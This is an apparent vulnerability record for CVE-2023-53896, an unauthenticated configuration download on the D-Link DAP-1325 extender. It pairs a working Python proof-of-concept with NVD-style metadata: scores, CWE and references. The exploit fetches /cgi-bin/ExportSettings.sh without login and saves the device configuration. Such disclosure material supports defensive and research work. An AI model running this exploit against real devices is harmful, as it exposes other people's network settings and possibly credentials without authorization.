CVE-2023-53896

import requests # CVE-2023-53896 PoC - Unauthenticated Configuration Download # Target: D-Link DAP-1325 WiFi Range Extender # Vulnerability: Broken Access Control in /cgi-bin/ExportSettings.sh def exploit_cve_2023_53896(target_ip): """ Exploit for CVE-2023-53896 Downloads device configuration without authentication """ # Target URL for configuration export url = f"http://{target_ip}/cgi-bin/ExportSettings.sh" headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64)', 'Accept': '*/*' } try: # Send GET request without authentication response = requests.get(url, headers=headers, timeout=10) if response.status_code == 200: print(f"[+] Success! Configuration downloaded ({len(response.content)} bytes)") print(f"[+] Content preview:\n{response.text[:500]}") # Save configuration to file with open(f'config_{target_ip}.xml', 'w') as f: f.write(response.text) print(f"[+] Configuration saved to config_{target_ip}.xml") return True else: print(f"[-] Failed with status code: {response.status_code}") return False except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") return False if __name__ == "__main__": target = "192.168.0.50" # Replace with target IP exploit_cve_2023_53896(target)

{"cve": {"id": "CVE-2023-53896", "sourceIdentifier": "[email protected]", "published": "2025-12-16T18:16:06.537", "lastModified": "2025-12-24T17:15:32.207", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "D-Link DAP-1325 firmware version 1.01 contains a broken access control vulnerability that allows unauthenticated attackers to download device configuration settings without authentication. Attackers can exploit the /cgi-bin/ExportSettings.sh endpoint to retrieve sensitive configuration information by directly accessing the export settings script."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.7, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-306"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:dlink:dap-1325_firmware:1.01:*:*:*:*:*:*:*", "matchCriteriaId": "BA4B95D1-F91E-4061-8E12-09523427F3F9"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:dlink:dap-1325:-:*:*:*:*:*:*:*", "matchCriteriaId": "C944D8D6-3D24-4A2A-8C66-A71C01A21089"}]}]}], "references": [{"url": "https://www.dlink.com/hr/hr/products/dap-1325-n300-wifi-range-extender", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://www.exploit-db.com/exploits/51556", "source": "[email protected]", "tags": ["Exploit"]}, {"url": "https://www.vulncheck.com/advisories/d-link-dap-hardware-a-unauthenticated-configuration-download", "source": "[email protected]", "tags": ["Broken Link", "Third Party Advisory"]}]}}